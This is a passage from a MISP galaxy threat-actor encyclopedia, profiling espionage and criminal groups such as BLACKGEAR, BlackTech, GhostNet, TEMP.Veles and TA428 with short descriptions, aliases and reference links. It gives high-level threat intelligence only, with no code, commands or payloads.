BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years. Multiple papers and talks have been released covering this campaign, which used the ELIRKS backdoor when it was first discovered in 2012. It is known for using blogs and microblogging services to hide the location of its actual command-and-control (C&C) servers. This allows an attacker to change the C&C server used quickly by changing the information in these posts. Like most campaigns, BLACKGEAR has evolved over time. Our research indicates that it has started targeting Japanese users. Two things led us to this conclusion: first, the fake documents that are used as part of its infection routines are now in Japanese. Secondly, it is now using blogging sites and microblogging services based in Japan for its C&C activity.

The tag is: *misp-galaxy:threat-actor="Blackgear"*

Blackgear is also known as:

- Topgear
- Comnie
- BLACKGEAR

Table 18321. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/blackgear-espionage-campaign-evolves-adds-japan-target-list/

https://blog.trendmicro.com/trendlabs-security-intelligence/blackgear-cyberespionage-campaign-resurfaces-abuses-social-media-for-cc-communication/

BlackOasis

BlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. A group known by Microsoft as NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified.

The tag is: *misp-galaxy:threat-actor="BlackOasis"*

BlackOasis is also known as:

- G0063

Table 18322. Table References

Links
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/
https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html
https://attack.mitre.org/groups/G0063/

BlackTech

BlackTech is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong. Based on the mutexes and domain names of some of their C&C servers, BlackTech's campaigns are likely designed to steal their target's technology. Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns: PLEAD, Shrouded Crossbow, and of late, Waterbear. PLEAD is an information theft campaign with a penchant for confidential documents. Active since 2012, it has so far targeted Taiwanese government agencies and private organizations. PLEAD's toolset includes the self-named PLEAD backdoor and the DRIGO exfiltration tool. PLEAD uses spear-phishing emails to deliver and install their backdoor, either as an attachment or through links to cloud storage services. Some of the cloud storage accounts used to deliver PLEAD are also used as drop off points for exfiltrated documents stolen by DRIGO. PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router's VPN feature then register a machine as virtual server. This virtual server will be used either as a C&C server or an HTTP server that delivers PLEAD malware to their targets.

The tag is: *misp-galaxy:threat-actor="BlackTech"*

BlackTech is also known as:

- CIRCUIT PANDA
- Temp.Overboard

- HUAPI
- Palmerworm
- G0098
- T-APT-03
- Manga Taurus
- Red Djinn
- Earth Hundun
- Canary Typhoon
- Mobwork

Table 18323. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/
https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/
https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt
https://unit42.paloaltonetworks.com/atoms/mangataurus/
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.trendmicro.com/en_us/research/24/d/earth-hundun-waterbear-deuterbear.html
https://blogs.jpcert.or.jp/en/2022/03/jsac2022report1.html

FIN5

FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian.

The tag is: *misp-galaxy:threat-actor="FIN5"*

FIN5 is also known as:

- G0053

Table 18324. Table References

Links
https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?
https://attack.mitre.org/groups/G0053/

FIN1

FireEye first identified this activity during a recent investigation at an organization in the financial industry. They identified the presence of a financially motivated threat group that they track as FIN1, whose activity at the organization dated back several years. The threat group deployed numerous malicious files and utilities, all of which were part of a malware ecosystem referred to as 'Nemesis' by the malware developer(s), and used this malware to access the victim environment and steal cardholder data. FIN1, which may be located in Russia or a Russian-speaking country based on language settings in many of their custom tools, is known for stealing data that is easily monetized from financial services organizations such as banks, credit unions, ATM operations, and financial transaction processing and financial business services companies.

The tag is: *misp-galaxy:threat-actor="FIN1"*

Table 18325. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html

FIN10

FireEye has observed multiple targeted intrusions occurring in North America — predominately in Canada — dating back to at least 2013 and continuing through at least 2016, in which the attacker(s) have compromised organizations' networks and sought to monetize this illicit access by exfiltrating sensitive data and extorting victim organizations. In some cases, when the extortion demand was not met, the attacker(s) destroyed production Windows systems by deleting critical operating system files and then shutting down the impacted systems. Based on near parallel TTPs used by the attacker(s) across these targeted intrusions, we believe these clusters of activity are linked to a single, previously unobserved actor or group that we have dubbed FIN10.

The tag is: *misp-galaxy:threat-actor="FIN10"*

FIN10 is also known as:

- G0051

Table 18326. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf
https://attack.mitre.org/groups/G0051/

GhostNet

Cyber espionage is an issue whose time has come. In this second report from the Information Warfare Monitor, we lay out the findings of a 10-month investigation of alleged Chinese cyber spying against Tibetan institutions. The investigation, consisting of fieldwork, technical scouting, and laboratory analysis, discovered a lot more. The investigation ultimately uncovered a network of over 1,295 infected hosts in 103 countries. Up to 30% of the infected hosts are considered high-value targets and include computers located at ministries of foreign affairs, embassies, international organizations, news media, and NGOs. The Tibetan computer systems we manually investigated, and from which our investigations began, were conclusively compromised by multiple infections that gave attackers unprecedented access to potentially sensitive information. Attacks on the Dalai Lama's Private Office The OHHDL started to suspect it was under surveillance while setting up meetings be-tween His Holiness and foreign dignitaries. They sent an email invitation on behalf of His Holiness to a foreign diplomat, but before they could follow it up with a courtesy telephone call, the diplomat's office was contacted by the Chinese government and warned not to go ahead with the meeting. The Tibetans wondered whether a computer compromise might be the explanation; they called ONI Asia who called us. (Until May 2008, the first author was employed on a studentship funded by the OpenNet Initiative and the second author was a principal investigator for ONI.)

The tag is: *misp-galaxy:threat-actor="GhostNet"*

GhostNet is also known as:

- Snooping Dragon

Table 18327. Table References

Links
http://www.nartv.org/mirror/ghostnet.pdf
https://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-746.pdf
https://en.wikipedia.org/wiki/GhostNet

GozNym

IBM X-Force Research uncovered a Trojan hybrid spawned from the Nymaim and Gozi ISFB malware. It appears that the operators of Nymaim have recompiled its source code with part of the Gozi ISFB source code, creating a combination that is being actively used in attacks against more than 24 U.S. and Canadian banks, stealing millions of dollars so far. X-Force named this new hybrid GozNym. The new GozNym hybrid takes the best of both the Nymaim and Gozi ISFB malware to create a powerful Trojan. From the Nymaim malware, it leverages the dropper's stealth and persistence; the Gozi ISFB parts add the banking Trojan's capabilities to facilitate fraud via infected Internet browsers. The end result is a new banking Trojan in the wild.

The tag is: *misp-galaxy:threat-actor="GozNym"*

Table 18328. Table References

Links
https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/
https://threatpost.com/attackers-behind-goznym-trojan-set-sights-on-europe/117647/
https://threatpost.com/goznym-banking-trojan-targeting-german-banks/120075/
https://www.europol.europa.eu/newsroom/news/goznym-malware-cybercriminal-network-dismantled-in-international-operation

Group5

A threat actor using Iranian-language tools, Iranian hosting companies, operating from the Iranian IP space at times was observed targeting the Syrian opposition in an elaborately staged malware operation, Citizen Lab researchers reveal. The operation was first noticed in late 2015, when a member of the Syrian opposition flagged a suspicious email containing a PowerPoint slideshow, which led researchers to a watering hole website with malicious programs, malicious PowerPoint files, and Android malware. The threat actor was targeting Windows and Android devices of well-connected individuals in the Syrian opposition, researchers discovered. They called the actor Group5, because it targets Syrian opposition after regime-linked malware groups, the Syrian Electronic Army, ISIS (also known as the Islamic State or ISIL), and a group linked to Lebanon did the same in the past

The tag is: *misp-galaxy:threat-actor="Group5"*

Group5 is also known as:

- G0043

Table 18329. Table References

Links
https://www.securityweek.com/iranian-actor-group5-targeting-syrian-opposition
https://attack.mitre.org/groups/G0043/

Honeybee

McAfee Advanced Threat Research analysts have discovered a new operation targeting humanitarian aid organizations and using North Korean political topics as bait to lure victims into opening malicious Microsoft Word documents. Our analysts have named this Operation Honeybee, based on the names of the malicious documents used in the attacks. Advanced Threat Research analysts have also discovered malicious documents authored by the same actor that indicate a tactical shift. These documents do not contain the typical lures by this actor, instead using Word compatibility messages to entice victims into opening them. The Advanced Threat Research team also observed a heavy concentration of the implant in Vietnam from January 15–17.

The tag is: *misp-galaxy:threat-actor="Honeybee"*

Honeybee is also known as:

- G0072

Table 18330. Table References

Links
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/
https://attack.mitre.org/groups/G0072/

Lucky Cat

A series of attacks, targeting both Indian military research and south Asian shipping organizations, demonstrate the minimum level of effort required to successfully compromise a target and steal sensitive information. The attackers use very simple malware, which required little development time or skills, in conjunction with freely available Web hosting, to implement a highly effective attack. It is a case of the attackers obtaining a maximum return on their investment. The attack shows how an intelligent attacker does not need to be particularly technically skilled in order to steal the information they are after. The attack begins, as is often the case, with an email sent to the victim. A malicious document is attached to the email, which, when loaded, activates the malware. The attackers use tailored emails to encourage the victim to open the email. For example, one email sent to an academic claimed to be a call for papers for a conference (CFP). The vast majority of the victims were based in India, with some in Malaysia. The victim industry was mostly military research and also shipping based in the Arabian and South China seas. In some instances the attackers appeared to have a clear goal, whereby specific files were retrieved from certain compromised computers. In other cases, the attackers used more of a 'shotgun' like approach, copying every file from a computer. Military technologies were obviously the focus of one particular attack with what appeared to be source code stolen. 45 different attacker IP addresses were observed. Out of those, 43 were within the same IP address range based in Sichuan province, China. The remaining two were based in South Korea. The pattern of attacker connections implies that the IP addresses are being used as a VPN, probably in an attempt to render the attackers anonymous.ænThe attacks have been active from at least April 2011 up to February 2012. The attackers are intelligent and focused, employing the minimum amount of work necessary for the maximum gain. They do not use zero day exploits or complicated threats, instead they rely on effective social engineering and lax security measures on the part of the victims.

The tag is: *misp-galaxy:threat-actor="Lucky Cat"*

Lucky Cat is also known as:

- TA413
- White Dev 9

Table 18331. Table References

Links
https://vx-underground.org/papers/luckycat-hackers-12-en.pdf

https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_luckycat_redux.pdf
https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global
https://www.proofpoint.com/us/blog/threat-insight/chinese-apt-ta413-resumes-targeting-tibet-following-covid-19-themed-economic

RTM

There are several groups actively and profitably targeting businesses in Russia. A trend that we have seen unfold before our eyes lately is these cybercriminals' use of simple backdoors to gain a foothold in their targets' networks. Once they have this access, a lot of the work is done manually, slowly getting to understand the network layout and deploying custom tools the criminals can use to steal funds from these entities. Some of the groups that best exemplify these trends are Buhtrap, Cobalt and Corkow. The group discussed in this white paper is part of this new trend. We call this new group RTM; it uses custom malware, written in Delphi, that we cover in detail in later sections. The first trace of this tool in our telemetry data dates back to late 2015. The group also makes use of several different modules that they deploy where appropriate to their targets. They are interested in users of remote banking systems (RBS), mainly in Russia and neighboring countries.

The tag is: *misp-galaxy:threat-actor="RTM"*

RTM is also known as:

- G0048

Table 18332. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf
https://attack.mitre.org/groups/G0048/

Shadow Network

Shadows in the Cloud documents a complex ecosystem of cyber espionage that systematically compromised government, business, academic, and other computer network systems in India, the Offices of the Dalai Lama, the United Nations, and several other countries. The report also contains an analysis of data which were stolen from politically sensitive targets and recovered during the course of the investigation. These include documents from the Offices of the Dalai Lama and agencies of the Indian national security establishment. Data containing sensitive information on citizens of numerous third-party countries, as well as personal, financial, and business information, were also exfiltrated and recovered during the course of the investigation. The report analyzes the malware ecosystem employed by the Shadows' attackers, which leveraged multiple redundant cloud computing systems, social networking platforms, and free web hosting services in order to maintain persistent control while operating core servers located in the People's Republic of China (PRC). Although the identity and motivation of the attackers remain unknown, the report is able to

determine the location (Chengdu, PRC) as well as some of the associations of the attackers through circumstantial evidence. The investigation is the product of an eight month, collaborative activity between the Information Warfare Monitor (Citizen Lab and SecDev) and the Shadowserver Foundation. The investigation employed a fusion methodology, combining technical interrogation techniques, data analysis, and field research, to track and uncover the Shadow cyber espionage network.

The tag is: *misp-galaxy:threat-actor="Shadow Network"*

Table 18333. Table References

Links
https://citizenlab.ca/wp-content/uploads/2017/05/shadows-in-the-cloud.pdf

Slingshot

While analysing an incident which involved a suspected keylogger, we identified a malicious library able to interact with a virtual file system, which is usually the sign of an advanced APT actor. This turned out to be a malicious loader internally named 'Slingshot', part of a new, and highly sophisticated attack platform that rivals Project Sauron and Regin in complexity. While for most victims the infection vector for Slingshot remains unknown, we were able to find several cases where the attackers got access to MikroTik routers and placed a component downloaded by Winbox Loader, a management suite for MikroTik routers. In turn, this infected the administrator of the router. We believe this cluster of activity started in at least 2012 and was still active at the time of this analysis (February 2018).

The tag is: *misp-galaxy:threat-actor="Slingshot"*

Table 18334. Table References

Links
https://securelist.com/apt-slingshot/84312/

Taidoor

The Taidoor attackers have been actively engaging in targeted attacks since at least March 4, 2009. Despite some exceptions, the Taidoor campaign often used Taiwanese IP addresses as C&C servers and email addresses to send out socially engineered emails with malware as attachments. One of the primary targets of the Taidoor campaign appeared to be the Taiwanese government. The attackers spoofed Taiwanese government email addresses to send out socially engineered emails in the Chinese language that typically leveraged Taiwan-themed issues. The attackers actively sent out malicious documents and maintained several IP addresses for command and control. As part of their social engineering ploy, the Taidoor attackers attach a decoy document to their emails that, when opened, displays the contents of a legitimate document but executes a malicious payload in the background. We were only able to gather a limited amount of information regarding the Taidoor attackers' activities after they have compromised a target. We did, however, find that the Taidoor malware allowed attackers to operate an interactive shell on compromised computers and to upload and download files. In order to determine the operational capabilities of the attackers

behind the Taidoor campaign, we monitored a compromised honeypot. The attackers issued out some basic commands in an attempt to map out the extent of the network compromise but quickly realized that the honeypot was not an intended targeted and so promptly disabled the Taidoor malware running on it. This indicated that while Taidoor malware were more widely distributed compared with those tied to other targeted campaigns, the attackers could quickly assess their targets and distinguish these from inadvertently compromised computers and honeypots.

The tag is: *misp-galaxy:threat-actor="Taidoor"*

Taidoor is also known as:

- G0015
- Earth Aughisky

Table 18335. Table References

Links
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf
https://attack.mitre.org/groups/G0015/
https://www.trendmicro.com/en_us/research/22/j/tracking-earth-aughiskys-malware-and-changes.html
https://blog.reversinglabs.com/blog/taidoor-a-truly-persistent-threat

TEMP.Veles

TEMP.Veles is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.

The tag is: *misp-galaxy:threat-actor="TEMP.Veles"*

TEMP.Veles is also known as:

- Xenotime
- G0088
- ATK91

Table 18336. Table References

Links
https://dragos.com/resource/trisis-analyzing-safety-system-targeting-malware/
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://attack.mitre.org/groups/G0088/
https://cyberthreat.thalesgroup.com/attackers/ATK91

https://www.dragos.com/threat/xenotime/

WindShift

In August of 2018, DarkMatter released a report entitled “In the Trails of WINDSHIFT APT”, which unveiled a threat actor with TTPs very similar to those of Bahamut. Subsequently, two additional articles were released by Objective-See which provide an analysis of some validated WINDSHIFT samples targeting OSX systems. Pivoting on specific file attributes and infrastructure indicators, Unit 42 was able to identify and correlate additional attacker activity and can now provide specific details on a targeted WINDSHIFT attack as it unfolded at a Middle Eastern government agency.

The tag is: *misp-galaxy:threat-actor="WindShift"*

WindShift is also known as:

- Windy Phoenix

Table 18337. Table References

Links
https://unit42.paloaltonetworks.com/shifting-in-the-wind-windshift-attacks-target-middle-eastern-governments/
https://gsec.hitb.org/materials/sg2018/D1%20COMMSEC%20-%20In%20the%20Trails%20of%20WINDSHIFT%20APT%20-%20Taha%20Karim.pdf
https://unit42.paloaltonetworks.com/atoms/windyphoenix/

[Unnamed group]

Over the last few weeks, several significant leaks regarding a number of Iranian APTs took place. After analyzing and investigating the documents we conclude that they are authentic. Consequently, this causes considerable harm to the groups and their operation. The identity of the actor behind the leak is currently unknown, however based on the scope and the quality of the exposed documents and information, it appears that they are professional and highly capable. This leak will likely hamstring the groups' operation in the near future. Accordingly, in our assessment this will minimize the risk of potential attacks in the next few months and possibly even year. Note -most of the leaks are posted on Telegram channels that were created specifically for this purpose. Below are the three main Telegram groups on which the leaks were posted: Lab Dookhtegam pseudonym ("The people whose lips are stitched and sealed" –translation from Persian) –In this channel attack tools attributed to the group 'OilRig' were leaked; including a webshell that was inserted into the Technion, various tools that were used for DNS attacks, and more. Green Leakers–In this channel attack tools attributed to the group 'MuddyWatter' were leaked. The group’s name and its symbol are identified with the "green movement", which led the protests in Iran after the Presidential elections in 2009. These protests were heavily repressed by the revolutionary guards (IRGC) Black Box–Unlike the previous two channels this has been around for a long time. On Friday May 5th, dozens of confidential documents labeled as "secret" (a high confidentiality level in Iran, one before the highest -top secret) were posted on this channel. The documents were related to Iranian attack groups' activity.

The tag is: *misp-galaxy:threat-actor="[Unnamed group]"*

Table 18338. Table References

Links
https://www.clearskysec.com/wp-content/uploads/2019/05/Iranian-Nation-State-APT-Leak-Analysis-and-Overview.pdf

DUNGEON SPIDER

DUNGEON SPIDER is a criminal group operating the ransomware most commonly known as Locky, which has been active since February 2016 and was last observed in late 2017. Locky is a ransomware tool that encrypts files using a combination of cryptographic algorithms: RSA with a key size of 2,048 bits, and AES with a key size of 128 bits. Locky targets a large number of file extensions and is able to encrypt data on shared network drives. In an attempt to further impact victims and prevent file recovery, Locky deletes all of the Shadow Volume Copies on the machine. DUNGEON SPIDER primarily relies on broad spam campaigns with malicious attachments for distribution. Locky is the community/industry name associated with this actor.

The tag is: *misp-galaxy:threat-actor="DUNGEON SPIDER"*

Table 18339. Table References

Links
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-october-dungeon-spider/

Fxmsp

Throughout 2017 and 2018, Fxmsp established a network of trusted proxy resellers to promote their breaches on the criminal underground. Some of the known Fxmsp TTPs included accessing network environments via externally available remote desktop protocol (RDP) servers and exposed active directory. Most recently, the actor claimed to have developed a credential-stealing botnet capable of infecting high-profile targets in order to exfiltrate sensitive usernames and passwords. Fxmsp has claimed that developing this botnet and improving its capabilities for stealing information from secured systems is their main goal.

The tag is: *misp-galaxy:threat-actor="Fxmsp"*

Table 18340. Table References

Links
https://www.advanced-intel.com/blog/top-tier-russian-hacking-collective-claims-breaches-of-three-major-anti-virus-companies

Gnosticplayers

The hacker said that he put up the data for sale mainly because these companies had failed to

protect passwords with strong encryption algorithms like bcrypt. Most of the hashed passwords the hacker put up for sale today can cracked with various levels of difficulty --but they can be cracked. "I got upset because I feel no one is learning," the hacker told ZDNet in an online chat earlier today. "I just felt upset at this particular moment, because seeing this lack of security in 2019 is making me angry." In a conversation with ZDNet last month, the hacker told us he wanted to hack and put up for sale more than one billion records and then retire and disappear with the money. But in a conversation today, the hacker says this is not his target anymore, as he learned that other hackers have already achieved the same goal before him. Gnosticplayers also revealed that not all the data he obtained from hacked companies had been put up for sale. Some companies gave into extortion demands and paid fees so breaches would remain private. "I came to an agreement with some companies, but the concerned startups won't see their data for sale," he said. "I did it that's why I can't publish the rest of my databases or even name them."

The tag is: *misp-galaxy:threat-actor="Gnosticplayers"*

Table 18341. Table References

Links
https://www.zdnet.com/article/round-4-hacker-returns-and-puts-26mil-user-records-for-sale-on-the-dark-web/
https://www.theregister.co.uk/2019/02/11/620_million_hacked_accounts_dark_web/
https://www.zdnet.com/article/127-million-user-records-from-8-companies-put-up-for-sale-on-the-dark-web/
https://www.zdnet.com/article/hacker-puts-up-for-sale-third-round-of-hacked-databases-on-the-dark-web/
https://www.zdnet.com/article/a-hacker-has-dumped-nearly-one-billion-user-records-over-the-past-two-months/

Hacking Team

The many 0-days that had been collected by Hacking Team and which became publicly available during the breach of their organization in 2015, have been used by several APT groups since. Since being founded in 2003, the Italian spyware vendor Hacking Team gained notoriety for selling surveillance tools to governments and their agencies across the world. The capabilities of its flagship product, the Remote Control System (RCS), include extracting files from a targeted device, intercepting emails and instant messaging, as well as remotely activating a device's webcam and microphone. The company has been criticized for selling these capabilities to authoritarian governments – an allegation it has consistently denied. When the tables turned in July 2015, with Hacking Team itself suffering a damaging hack, the reported use of RCS by oppressive regimes was confirmed. With 400GB of internal data – including the once-secret list of customers, internal communications, and spyware source code – leaked online, Hacking Team was forced to request its customers to suspend all use of RCS, and was left facing an uncertain future. Following the hack, the security community has been keeping a close eye on the company's efforts to get back on its feet. The first reports suggesting Hacking Team's resumed operations came six months later – a new sample of Hacking Team's Mac spyware was apparently in the wild. A year after the breach, an investment by a company named Tablem Limited brought changes to Hacking Team's shareholder

structure, with Tablem Limited taking 20% of Hacking Team's shareholding. Tablem Limited is officially based in Cyprus; however, recent news suggests it has ties to Saudi Arabia.

The tag is: *misp-galaxy:threat-actor="Hacking Team"*

Table 18342. Table References

Links
https://www.welivesecurity.com/2018/03/09/new-traces-hacking-team-wild/
https://en.wikipedia.org/wiki/Hacking_Team
https://www.vice.com/en_us/article/gvye3m/spy-tech-company-hacking-team-gets-hacked

OurMine

OurMine is known for celebrity internet accounts, often causing cyber vandalism, to advertise their commercial services. (Trend Micro) In light of the recent report detailing its willingness to pay US$250,000 in exchange for the 1.5 terabytes' worth of data swiped by hackers from its servers, HBO finds itself dealing with yet another security breach. Known for hijacking prominent social media accounts, the self-styled white hat hacking group OurMine took over a number of verified Twitter and Facebook accounts belonging to the cable network. These include accounts for HBO shows, such as "Game of Thrones," "Girls," and "Ballers." This is not the first time that OurMine has claimed responsibility for hacking high- profile social networking accounts. Last year, the group victimized Marvel, The New York Times, and even the heads of some of the biggest technology companies in the world. Mark Zuckerberg, Jack Dorsey, Sundar Pichai, and Daniel Ek — the CEOs of Facebook, Twitter, Google and Spotify, respectively — have also fallen victim to the hackers, dispelling the notion that a career in software and technology exempts one from being compromised.

The tag is: *misp-galaxy:threat-actor="OurMine"*

Table 18343. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/hbo-twitter-and-facebook-accounts-hacked-by-ourmine
https://gizmodo.com/welp-vevo-just-got-hacked-1813390834
https://www.grahamcluley.com/despite-appearances-wikileaks-wasnt-hacked/
https://en.wikipedia.org/wiki/OurMine

Pacha Group

Antd is a miner found in the wild on September 18, 2018. Recently we discovered that the authors from Antd are actively delivering newer campaigns deploying a broad number of components, most of them completely undetected and operating within compromised third party Linux servers. Furthermore, we have observed that some of the techniques implemented by this group are unconventional, and there is an element of sophistication to them. We believe the authors behind

this malware are from Chinese origin. We have labeled the undetected Linux.Antd variants, Linux.GreedyAntd and classified the threat actor as Pacha Group.

The tag is: *misp-galaxy:threat-actor="Pacha Group"*

Table 18344. Table References

Links
https://www.intezer.com/blog-technical-analysis-pacha-group/
https://www.intezer.com/blog-technical-analysis-cryptocurrency-mining-war-on-the-cloud/

Rocke

This threat actor initially came to our attention in April 2018, leveraging both Western and Chinese Git repositories to deliver malware to honeypot systems vulnerable to an Apache Struts vulnerability. In late July, we became aware that the same actor was engaged in another similar campaign. Through our investigation into this new campaign, we were able to uncover more details about the actor.

The tag is: *misp-galaxy:threat-actor="Rocke"*

Rocke is also known as:

- Aged Libra

Table 18345. Table References

Links
https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html
https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/
https://www.intezer.com/blog-technical-analysis-cryptocurrency-mining-war-on-the-cloud/
https://unit42.paloaltonetworks.com/atoms/agedlibra/

[Vault 7/8]

An unnamed source leaked almost 10,000 documents describing a large number of 0-day vulnerabilities, methodologies and tools that had been collected by the CIA. This leaking was done through WikiLeaks, since March 2017. In weekly publications, the dumps were said to come from Vault 7 and later Vault 8, until his arrest in 2018. Most of the published vulnerabilities have since been fixed by the respective vendors, by many have been used by other threat actors. This actor turned out to be a former CIA software engineer. (WikiLeaks) Today, Tuesday 7 March 2017, WikiLeaks begins its new series of leaks on the U.S. Central Intelligence Agency. Code-named "Vault 7" by WikiLeaks, it is the largest ever publication of confidential documents on the agency. The first full part of the series, "Year Zero", comprises 8,761 documents and files from an isolated, high-security network situated inside the CIA's Center for Cyber Intelligence in Langley, Virgina. It follows an introductory disclosure last month of CIA targeting French political parties and

candidates in the lead up to the 2012 presidential election. Recently, the CIA lost control of the majority of its hacking arsenal including malware, viruses, trojans, weaponized "zero day" exploits, malware remote control systems and associated documentation. This extraordinary collection, which amounts to more than several hundred million lines of code, gives its possessor the entire hacking capacity of the CIA. The archive appears to have been circulated among former U.S. government hackers and contractors in an unauthorized manner, one of whom has provided WikiLeaks with portions of the archive. "Year Zero" introduces the scope and direction of the CIA's global covert hacking program, its malware arsenal and dozens of "zero day" weaponized exploits against a wide range of U.S. and European company products, include Apple's iPhone, Google's Android and Microsoft's Windows and even Samsung TVs, which are turned into covert microphones.

The tag is: *misp-galaxy:threat-actor="[Vault 7/8]"*

Table 18346. Table References

Links
https://wikileaks.org/ciav7p1/
https://www.justice.gov/opa/pr/joshua-adam-schulte-charged-unauthorized-disclosure-classified-information-and-other-offenses

ZOMBIE SPIDER

On April 7, 2017, Pytor Levashov — who predominantly used the alias Severa or Peter Severa and whom Falcon Intelligence tracks as ZOMBIE SPIDER — was arrested in an international law enforcement operation led by the FBI. ZOMBIE SPIDER's specialty was large-scale spam distribution, a fundamental component of cybercrime operations. Levashov was the primary threat actor behind a botnet known as Kelihos and its predecessors, Waledac and Storm. In addition to Levashov's arrest, there was a technical operation conducted by Falcon Intelligence to seize control of the Kelihos botnet.

The tag is: *misp-galaxy:threat-actor="ZOMBIE SPIDER"*

Table 18347. Table References

Links
https://www.crowdstrike.com/blog/farewell-to-kelihos-and-zombie-spider/
https://www.crowdstrike.com/blog/inside-the-takedown-of-zombie-spider-and-the-kelihos-botnet/
https://www.justice.gov/opa/pr/justice-department-announces-actions-dismantle-kelihos-botnet-0
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2018GlobalThreatReport.pdf

ViceLeaker

In May 2018, we discovered a campaign targeting dozens of mobile Android devices belonging to Israeli citizens. Kaspersky spyware sensors caught the signal of an attack from the device of one of the victims; and a hash of the APK involved (Android application) was tagged in our sample feed for

inspection. Once we looked into the file, we quickly found out that the inner-workings of the APK included a malicious payload, embedded in the original code of the application. This was an original spyware program, designed to exfiltrate almost all accessible information. During the course of our research, we noticed that we were not the only ones to have found the operation. Researchers from Bitdefender also released an analysis of one of the samples in a blogpost. Although something had already been published, we decided to do something different with the data we acquired. The following month, we released a private report on our Threat Intelligence Portal to alert our clients about this newly discovered operation and began writing YARA rules in order to catch more samples. We decided to call the operation “ViceLeaker”, because of strings and variables in its code.

The tag is: *misp-galaxy:threat-actor="ViceLeaker"*

Table 18348. Table References

Links
https://securelist.com/fanning-the-flames-viceleaker-operation/90877/

SWEED

Cisco Talos recently identified a large number of ongoing malware distribution campaigns linked to a threat actor we’re calling "SWEED," including such notable malware as Formbook, Lokibot and Agent Tesla. Based on our research, SWEED — which has been operating since at least 2017 — primarily targets their victims with stealers and remote access trojans. SWEED remains consistent across most of their campaigns in their use of spear-phishing emails with malicious attachments. While these campaigns have featured a myriad of different types of malicious documents, the actor primarily tries to infect its victims with a packed version of Agent Tesla — an information stealer that’s been around since at least 2014. The version of Agent Tesla that SWEED is using differs slightly from what we’ve seen in the past in the way that it is packed, as well as how it infects the system. In this post, we’ll run down each campaign we’re able to connect to SWEED, and talk about some of the actor’s tactics, techniques and procedures (TTPs).

The tag is: *misp-galaxy:threat-actor="SWEED"*

Table 18349. Table References

Links
https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html

TA428

Proofpoint researchers have identified a targeted APT campaign that utilized malicious RTF documents to deliver custom malware to unsuspecting victims. We dubbed this campaign “Operation LagTime IT” based on entities that were targeted and the distinctive domains registered to C&C IP infrastructure. Beginning in early 2019, these threat actors targeted a number of government agencies in East Asia overseeing government information technology, domestic affairs, foreign affairs, economic development, and political processes. We determined that the infection vector observed in this campaign was spear phishing, with emails originating from both free email

accounts and compromised user accounts. Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT. Additionally, this APT group utilizes Poison Ivy payloads that share overlapping command and control (C&C) infrastructure with the newly identified Cotx campaigns. Based on infrastructure overlaps, post-exploitation techniques, and historic TTPs utilized in this operation, Proofpoint analysts attribute this activity to the Chinese APT group tracked internally as TA428. Researchers believe that this activity has an operational and tactical resemblance to the Maudi Surveillance Operation which was previously reported in 2013.

The tag is: *misp-galaxy:threat-actor="TA428"*

TA428 is also known as:

- Colourful Panda
- BRONZE DUDLEY

Table 18350. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology
https://www.recordedfuture.com/china-linked-ta428-threat-group
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia
